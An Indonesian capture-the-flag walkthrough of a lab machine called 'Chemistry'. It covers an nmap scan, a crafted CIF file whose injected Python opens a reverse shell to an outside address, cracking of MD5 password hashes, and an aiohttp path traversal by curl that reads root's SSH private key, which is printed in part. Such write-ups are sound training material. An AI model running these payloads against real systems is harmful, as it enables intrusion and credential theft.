Chemistry adalah Machine yang memiliki kerentanan pada python package
OS: Linux
Sebelum memulai, saya akan mencoba untuk melakukan pengecekan koneksi. Perhatikan ttl, nilainya adalah 63 yang mengindikasikan bahwa sistem operasi yang digunakan machine ini adalah benar Linux (deskripsi sudah di beritahukan tapi ini adalah kebiasaan saya saja 😁)
nmap -sV -sC 10.10.11.38
# Nmap 7.94SVN scan initiated Sun Nov 17 05:00:07 2024
Nmap scan report for 10.10.11.38
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Sat, 16 Nov 2024 21:47:19 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
...........
...........
Disini terlihat bahwa terdapat 2 port yang terbuka yaitu 22/ssh dan 5000/upnp?. Pada port 5000 tersebut terlihat bahwa terdapat halaman web yang berjudul "Chemistry-Home".
Halaman web tersebut setelah dikunjungi pada url hxxp://10.10.11.38:5000 terlihat seperti pada gambar disamping. Disini diharuskan untuk melakukan login terlebih dahulu maka dilakukan register email dan password.
Setelah login, kita akan masuk ke dashboard yang dapat mengupload file tetapi harus file berekstensi CIF. Sebelum melakukannya, ada contoh file tersebut dengan mendownload file berekstensi cif pada bagian "HERE".
Disini saya tidak tau apa ini tetapi setelah melakukan pencarian pada internet, saya temukan sumber yang menyatakan bahwa terdapat sebuah kerentanan file CIF.
Kemudian ditambahkan payload yang didapatkan dari sumber sebelumnya dan file contoh yang didapatkan dari web target.
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.16.64/5555 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Sebelum diupload
Setelah diupload
Setelah diupload, listener diaktifkan pada port 5555 menggunakan netcat. Selanjutnya klik view dan akan mentrigger koneksi reverse shell.
Berhasil Masuk..
Setelah masuk, melakukan pengecekan pengguna dengan command cat /etc/passwd.
Pertama kali masuk, kita telah mengetahui bahwa kita telah login sebagai pengguna "app". Setelah di cek, diketahui bahwa akun pengguna pertama yang dibuat di sistem adalah rosa dan pengguna kedua adalah app. Hal ini dikonfirmasi dengan memperhatikan SUID/GUID pengguna (1000 & 1001)
Selain itu pada direktori pengguna app, terdapat direktori "instance" yang didalamnya terdapat file "database.db".
Jika coba membacanya secara langsung, terlihat seperti berisi nama pengguna dan hash.
Disini dilakukan file transfer ke komputer saya dan membukanya menggunakan sqlite. Ditemukan table user yang yang berisi kata sandi pengguna yang terenkripsi.
Menuju ke Crackstation dan melakukan dekripsi file hash tersebut menggunakan md5.
Ditemukan kata sandi pengguna rosa (sesuai dengan daftar pada /etc/passwd)
Kemudian dilakukan login menggunakan kredensial pengguna rosa dan berhasil masuk sebagai pengguna rosa.
Ditemukan flag pertama (user flag).
Check 1: Privileges
Disini mencoba memeriksa hak istimewa (privileges) yang diberikan pada pengguna rosa tetapi tidak ada.
Check 2: Memeriksa koneksi jaringan dan melihat status port.
Dari output pada bagian check 2. Terlihat bahwa ada koneksi yang berjalan pada port 8080. Dari sini, akan dilakukan port forwarding service yang berjalan di port 8080 pada server ke local host mesin saya pada port 4678.
Setelah berhasil, service tersebut berhasil diakses. Tetapi tidak diketahui service apakah ini?
Mencoba menggunakan curl untuk melihat respon HTTP pada bagian header (option -I). Terlihat bahwa server menggunakan aiohttp/3.9.1
aiohttp adalah pustaka Python untuk membuat HTTP client dan server yang bersifat asynchronous. Pustaka ini memungkinkan pengelolaan permintaan HTTP secara non-blocking, yang berarti aplikasi dapat menangani banyak koneksi sekaligus tanpa menunggu satu sama lain. aiohttp juga mendukung WebSocket untuk komunikasi real-time dan sangat cocok digunakan dalam aplikasi yang membutuhkan skalabilitas tinggi, seperti API web dan aplikasi dengan banyak koneksi paralel.
Mencari informasi mengenai library ini dan menemukan sumber bahwa terdapat kerentanan pada path traversal/LFI.
Contoh:
Aplikasi web yang mengizinkan pengguna untuk memilih file untuk ditampilkan dengan parameter URL seperti:
http://example.com/index.php?page=home
Jika aplikasi tidak memvalidasi input pengguna dengan benar, penyerang bisa mencoba untuk mengganti parameter page dengan path file yang tidak diinginkan:
http://example.com/index.php?page=../../../../etc/passwd
Disini saya tidak akan menggunakan file tersebut untuk melakukan exploit tetapi akan menjadikan sumber tersebut sebagai referensi.
Saya akan mencoba cara manual dengan cara memanfaatkan curl.
Berhasil Mendapatkan flag terakhir (root flag). Belum berakhir....
Saya akan coba masuk sistem sebagai root!!
$ curl -s --path-as-is http://localhost:4678/assets/../../../../root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2
UOljWP/TVPTkM5byav5bzhIwxhtdTy02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv
ATj++Xrpmmh9uR1HdS1XvD7glEFqNbYo3Q/OhiMto1JFqgWugeHm715yDnB3A+og4SFzrE
vrLegAOwvNlDYGjJWnTqEmUDk9ruO4Eq4ad1TYMbAAAFiPikP5X4pD+VAAAAB3NzaC1yc2
EAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3lu
Hry3noZ2BUJXmgvbv/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqx
xEWkapk862p1cmAHU5ol5RqlMostCOxlWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr
+WhSXDr7AhtWgvdy3uUeN1oMKO5Bz5XzOQ40g0apgcWaWi6Vitx8AimCE26A32LDjGNM8i
NJOci5dbOvOaiSGCR5op/R2QZgyMEu3tq4kx4TW7dp2h8XdFpCfD1E4F7ldlDpY1j/01T0
5DOW8mr+W84SMMYbXU8tNg1o6hUJ9pGkPMXvV/mJq39sCvAuHswMnL5X9yLwE4/vl66Zpo
fbkdR3UtV7w+4JRBajW2KN0PzoYjLaNSRaoFroHh5u9ecg5wdwPqIOEhc6xL6y3oADsLzZ
Q2BoyVp06hJlA5Pa7juBKuGndU2DGwAAAAMBAAEAAAGBAJikdMJv0IOO6/xDeSw1nXWsgo
325Uw9yRGmBFwbv0yl7oD/GPjFAaXE/99+oA+DDURaxfSq0N6eqhA9xrLUBjR/agALOu/D
p2QSAB3rqMOve6rZUlo/QL9Qv37KvkML5fRhdL7hRCwKupGjdrNvh9Hxc+WlV4Too/D4xi
JiAKYCeU7zWTmOTld4ErYBFTSxMFjZWC4YRlsITLrLIF9FzIsRlgjQ/LTkNRHTmNK1URYC
...
...
...
yFFpg+LxkZv2FkqKBH0ntky8F/UprfY2B9rxYGfbblS7yU6xoFC2VjUH8ZcP5+blXcBOhF
hiv6BSogWZ7QNAyD7OhWhOcPNBfk3YFvbg6hawQH2c0pBTWtIWTTUBtOpdta0hU4SZ6uvj
71odqvPNiX+2Hc/k/aqTR8xRMHhwPxxwAAAMEAwYZp7+2BqjA21NrrTXvGCq8N8ZZsbc3Z
2vrhTfqruw6TjUvC/t6FEs3H6Zw4npl+It13kfc6WkGVhsTaAJj/lZSLtN42PXBXwzThjH
giZfQtMfGAqJkPIUbp2QKKY/y6MENIk5pwo2KfJYI/pH0zM9l94eRYyqGHdbWj4GPD8NRK
OlOfMO4xkLwj4rPIcqbGzi0Ant/O+V7NRN/mtx7xDL7oBwhpRDE1Bn4ILcsneX5YH/XoBh
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----
PRIVATE KEY berhasil didapatkan
Disini saya berhasil melakukan ssh ke user root dengan login menggunakan private key yang telah didapatkan.
SELESAI